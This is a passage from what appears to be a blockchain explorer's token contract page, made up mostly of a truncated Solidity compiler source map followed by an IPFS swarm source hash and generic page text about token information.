;;;;;;;;;;;;:25;;;;:::i;:::-;16765:9;:17;16775:6;16765:17;;;;;;;;;;;;;;;:45;;;;16871:5;16848:9;:20;16858:9;16848:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;16825:9;:20;16835:9;16825:20;;;;;;;;;;;;;;;:51;;;;16913:9;16896:34;;16905:6;16896:34;;;16924:5;16896:34;;;;;;:::i;:::-;;;;;;;;16127:815;15970:979;15860:1089;;;:::o;8775:83::-;8846:4;8830;:13;8835:7;8830:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;8775:83;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:77::-;878:7;907:5;896:16;;841:77;;;:::o;924:122::-;997:24;1015:5;997:24;:::i;:::-;990:5;987:35;977:63;;1036:1;1033;1026:12;977:63;924:122;:::o;1052:139::-;1098:5;1136:6;1123:20;1114:29;;1152:33;1179:5;1152:33;:::i;:::-;1052:139;;;;:::o;1197:474::-;1265:6;1273;1322:2;1310:9;1301:7;1297:23;1293:32;1290:119;;;1328:79;;:::i;:::-;1290:119;1448:1;1473:53;1518:7;1509:6;1498:9;1494:22;1473:53;:::i;:::-;1463:63;;1419:117;1575:2;1601:53;1646:7;1637:6;1626:9;1622:22;1601:53;:::i;:::-;1591:63;;1546:118;1197:474;;;;;:::o;1677:329::-;1736:6;1785:2;1773:9;1764:7;1760:23;1756:32;1753:119;;;1791:79;;:::i;:::-;1753:119;1911:1;1936:53;1981:7;1972:6;1961:9;1957:22;1936:53;:::i;:::-;1926:63;;1882:117;1677:329;;;;:::o;2012:99::-;2064:6;2098:5;2092:12;2082:22;;2012:99;;;:::o;2117:169::-;2201:11;2235:6;2230:3;2223:19;2275:4;2270:3;2266:14;2251:29;;2117:169;;;;:::o;2292:246::-;2373:1;2383:113;2397:6;2394:1;2391:13;2383:113;;;2482:1;2477:3;2473:11;2467:18;2463:1;2458:3;2454:11;2447:39;2419:2;2416:1;2412:10;2407:15;;2383:113;;;2530:1;2521:6;2516:3;2512:16;2505:27;2354:184;2292:246;;;:::o;2544:102::-;2585:6;2636:2;2632:7;2627:2;2620:5;2616:14;2612:28;2602:38;;2544:102;;;:::o;2652:377::-;2740:3;2768:39;2801:5;2768:39;:::i;:::-;2823:71;2887:6;2882:3;2823:71;:::i;:::-;2816:78;;2903:65;2961:6;2956:3;2949:4;2942:5;2938:16;2903:65;:::i;:::-;2993:29;3015:6;2993:29;:::i;:::-;2988:3;2984:39;2977:46;;2744:285;2652:377;;;;:::o;3035:313::-;3148:4;3186:2;3175:9;3171:18;3163:26;;3235:9;3229:4;3225:20;3221:1;3210:9;3206:17;3199:47;3263:78;3336:4;3327:6;3263:78;:::i;:::-;3255:86;;3035:313;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:116::-;5258:21;5273:5;5258:21;:::i;:::-;5251:5;5248:32;5238:60;;5294:1;5291;5284:12;5238:60;5188:116;:::o;5310:133::-;5353:5;5391:6;5378:20;5369:29;;5407:30;5431:5;5407:30;:::i;:::-;5310:133;;;;:::o;5449:323::-;5505:6;5554:2;5542:9;5533:7;5529:23;5525:32;5522:119;;;5560:79;;:::i;:::-;5522:119;5680:1;5705:50;5747:7;5738:6;5727:9;5723:22;5705:50;:::i;:::-;5695:60;;5651:114;5449:323;;;;:::o;5778:468::-;5843:6;5851;5900:2;5888:9;5879:7;5875:23;5871:32;5868:119;;;5906:79;;:::i;:::-;5868:119;6026:1;6051:53;6096:7;6087:6;6076:9;6072:22;6051:53;:::i;:::-;6041:63;;5997:117;6153:2;6179:50;6221:7;6212:6;6201:9;6197:22;6179:50;:::i;:::-;6169:60;;6124:115;5778:468;;;;;:::o;6252:118::-;6339:24;6357:5;6339:24;:::i;:::-;6334:3;6327:37;6252:118;;:::o;6376:222::-;6469:4;6507:2;6496:9;6492:18;6484:26;;6520:71;6588:1;6577:9;6573:17;6564:6;6520:71;:::i;:::-;6376:222;;;;:::o;6604:329::-;6663:6;6712:2;6700:9;6691:7;6687:23;6683:32;6680:119;;;6718:79;;:::i;:::-;6680:119;6838:1;6863:53;6908:7;6899:6;6888:9;6884:22;6863:53;:::i;:::-;6853:63;;6809:117;6604:329;;;;:::o;6939:474::-;7007:6;7015;7064:2;7052:9;7043:7;7039:23;7035:32;7032:119;;;7070:79;;:::i;:::-;7032:119;7190:1;7215:53;7260:7;7251:6;7240:9;7236:22;7215:53;:::i;:::-;7205:63;;7161:117;7317:2;7343:53;7388:7;7379:6;7368:9;7364:22;7343:53;:::i;:::-;7333:63;;7288:118;6939:474;;;;;:::o;7419:182::-;7559:34;7555:1;7547:6;7543:14;7536:58;7419:182;:::o;7607:366::-;7749:3;7770:67;7834:2;7829:3;7770:67;:::i;:::-;7763:74;;7846:93;7935:3;7846:93;:::i;:::-;7964:2;7959:3;7955:12;7948:19;;7607:366;;;:::o;7979:419::-;8145:4;8183:2;8172:9;8168:18;8160:26;;8232:9;8226:4;8222:20;8218:1;8207:9;8203:17;8196:47;8260:131;8386:4;8260:131;:::i;:::-;8252:139;;7979:419;;;:::o;8404:180::-;8452:77;8449:1;8442:88;8549:4;8546:1;8539:15;8573:4;8570:1;8563:15;8590:191;8630:3;8649:20;8667:1;8649:20;:::i;:::-;8644:25;;8683:20;8701:1;8683:20;:::i;:::-;8678:25;;8726:1;8723;8719:9;8712:16;;8747:3;8744:1;8741:10;8738:36;;;8754:18;;:::i;:::-;8738:36;8590:191;;;;:::o;8787:180::-;8835:77;8832:1;8825:88;8932:4;8929:1;8922:15;8956:4;8953:1;8946:15;8973:320;9017:6;9054:1;9048:4;9044:12;9034:22;;9101:1;9095:4;9091:12;9122:18;9112:81;;9178:4;9170:6;9166:17;9156:27;;9112:81;9240:2;9232:6;9229:14;9209:18;9206:38;9203:84;;9259:18;;:::i;:::-;9203:84;9024:269;8973:320;;;:::o;9299:224::-;9439:34;9435:1;9427:6;9423:14;9416:58;9508:7;9503:2;9495:6;9491:15;9484:32;9299:224;:::o;9529:366::-;9671:3;9692:67;9756:2;9751:3;9692:67;:::i;:::-;9685:74;;9768:93;9857:3;9768:93;:::i;:::-;9886:2;9881:3;9877:12;9870:19;;9529:366;;;:::o;9901:419::-;10067:4;10105:2;10094:9;10090:18;10082:26;;10154:9;10148:4;10144:20;10140:1;10129:9;10125:17;10118:47;10182:131;10308:4;10182:131;:::i;:::-;10174:139;;9901:419;;;:::o;10326:162::-;10466:14;10462:1;10454:6;10450:14;10443:38;10326:162;:::o;10494:366::-;10636:3;10657:67;10721:2;10716:3;10657:67;:::i;:::-;10650:74;;10733:93;10822:3;10733:93;:::i;:::-;10851:2;10846:3;10842:12;10835:19;;10494:366;;;:::o;10866:419::-;11032:4;11070:2;11059:9;11055:18;11047:26;;11119:9;11113:4;11109:20;11105:1;11094:9;11090:17;11083:47;11147:131;11273:4;11147:131;:::i;:::-;11139:139;;10866:419;;;:::o;11291:348::-;11331:7;11354:20;11372:1;11354:20;:::i;:::-;11349:25;;11388:20;11406:1;11388:20;:::i;:::-;11383:25;;11576:1;11508:66;11504:74;11501:1;11498:81;11493:1;11486:9;11479:17;11475:105;11472:131;;;11583:18;;:::i;:::-;11472:131;11631:1;11628;11624:9;11613:20;;11291:348;;;;:::o;11645:194::-;11685:4;11705:20;11723:1;11705:20;:::i;:::-;11700:25;;11739:20;11757:1;11739:20;:::i;:::-;11734:25;;11783:1;11780;11776:9;11768:17;;11807:1;11801:4;11798:11;11795:37;;;11812:18;;:::i;:::-;11795:37;11645:194;;;;:::o;11845:223::-;11985:34;11981:1;11973:6;11969:14;11962:58;12054:6;12049:2;12041:6;12037:15;12030:31;11845:223;:::o;12074:366::-;12216:3;12237:67;12301:2;12296:3;12237:67;:::i;:::-;12230:74;;12313:93;12402:3;12313:93;:::i;:::-;12431:2;12426:3;12422:12;12415:19;;12074:366;;;:::o;12446:419::-;12612:4;12650:2;12639:9;12635:18;12627:26;;12699:9;12693:4;12689:20;12685:1;12674:9;12670:17;12663:47;12727:131;12853:4;12727:131;:::i;:::-;12719:139;;12446:419;;;:::o;12871:221::-;13011:34;13007:1;12999:6;12995:14;12988:58;13080:4;13075:2;13067:6;13063:15;13056:29;12871:221;:::o;13098:366::-;13240:3;13261:67;13325:2;13320:3;13261:67;:::i;:::-;13254:74;;13337:93;13426:3;13337:93;:::i;:::-;13455:2;13450:3;13446:12;13439:19;;13098:366;;;:::o;13470:419::-;13636:4;13674:2;13663:9;13659:18;13651:26;;13723:9;13717:4;13713:20;13709:1;13698:9;13694:17;13687:47;13751:131;13877:4;13751:131;:::i;:::-;13743:139;;13470:419;;;:::o;13895:179::-;14035:31;14031:1;14023:6;14019:14;14012:55;13895:179;:::o;14080:366::-;14222:3;14243:67;14307:2;14302:3;14243:67;:::i;:::-;14236:74;;14319:93;14408:3;14319:93;:::i;:::-;14437:2;14432:3;14428:12;14421:19;;14080:366;;;:::o;14452:419::-;14618:4;14656:2;14645:9;14641:18;14633:26;;14705:9;14699:4;14695:20;14691:1;14680:9;14676:17;14669:47;14733:131;14859:4;14733:131;:::i;:::-;14725:139;;14452:419;;;:::o;14877:224::-;15017:34;15013:1;15005:6;15001:14;14994:58;15086:7;15081:2;15073:6;15069:15;15062:32;14877:224;:::o;15107:366::-;15249:3;15270:67;15334:2;15329:3;15270:67;:::i;:::-;15263:74;;15346:93;15435:3;15346:93;:::i;:::-;15464:2;15459:3;15455:12;15448:19;;15107:366;;;:::o;15479:419::-;15645:4;15683:2;15672:9;15668:18;15660:26;;15732:9;15726:4;15722:20;15718:1;15707:9;15703:17;15696:47;15760:131;15886:4;15760:131;:::i;:::-;15752:139;;15479:419;;;:::o;15904:222::-;16044:34;16040:1;16032:6;16028:14;16021:58;16113:5;16108:2;16100:6;16096:15;16089:30;15904:222;:::o;16132:366::-;16274:3;16295:67;16359:2;16354:3;16295:67;:::i;:::-;16288:74;;16371:93;16460:3;16371:93;:::i;:::-;16489:2;16484:3;16480:12;16473:19;;16132:366;;;:::o;16504:419::-;16670:4;16708:2;16697:9;16693:18;16685:26;;16757:9;16751:4;16747:20;16743:1;16732:9;16728:17;16721:47;16785:131;16911:4;16785:131;:::i;:::-;16777:139;;16504:419;;;:::o;16929:225::-;17069:34;17065:1;17057:6;17053:14;17046:58;17138:8;17133:2;17125:6;17121:15;17114:33;16929:225;:::o;17160:366::-;17302:3;17323:67;17387:2;17382:3;17323:67;:::i;:::-;17316:74;;17399:93;17488:3;17399:93;:::i;:::-;17517:2;17512:3;17508:12;17501:19;;17160:366;;;:::o;17532:419::-;17698:4;17736:2;17725:9;17721:18;17713:26;;17785:9;17779:4;17775:20;17771:1;17760:9;17756:17;17749:47;17813:131;17939:4;17813:131;:::i;:::-;17805:139;;17532:419;;;:::o;17957:155::-;18097:7;18093:1;18085:6;18081:14;18074:31;17957:155;:::o;18118:365::-;18260:3;18281:66;18345:1;18340:3;18281:66;:::i;:::-;18274:73;;18356:93;18445:3;18356:93;:::i;:::-;18474:2;18469:3;18465:12;18458:19;;18118:365;;;:::o;18489:419::-;18655:4;18693:2;18682:9;18678:18;18670:26;;18742:9;18736:4;18732:20;18728:1;18717:9;18713:17;18706:47;18770:131;18896:4;18770:131;:::i;:::-;18762:139;;18489:419;;;:::o;18914:171::-;19054:23;19050:1;19042:6;19038:14;19031:47;18914:171;:::o;19091:366::-;19233:3;19254:67;19318:2;19313:3;19254:67;:::i;:::-;19247:74;;19330:93;19419:3;19330:93;:::i;:::-;19448:2;19443:3;19439:12;19432:19;;19091:366;;;:::o;19463:419::-;19629:4;19667:2;19656:9;19652:18;19644:26;;19716:9;19710:4;19706:20;19702:1;19691:9;19687:17;19680:47;19744:131;19870:4;19744:131;:::i;:::-;19736:139;;19463:419;;;:::o;19888:180::-;19936:77;19933:1;19926:88;20033:4;20030:1;20023:15;20057:4;20054:1;20047:15;20074:185;20114:1;20131:20;20149:1;20131:20;:::i;:::-;20126:25;;20165:20;20183:1;20165:20;:::i;:::-;20160:25;;20204:1;20194:35;;20209:18;;:::i;:::-;20194:35;20251:1;20248;20244:9;20239:14;;20074:185;;;;:::o

Swarm Source

ipfs://8ce962c0601a47a4aac836665b2ab5b775f55601f1d101fc9341c4801b60be9f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.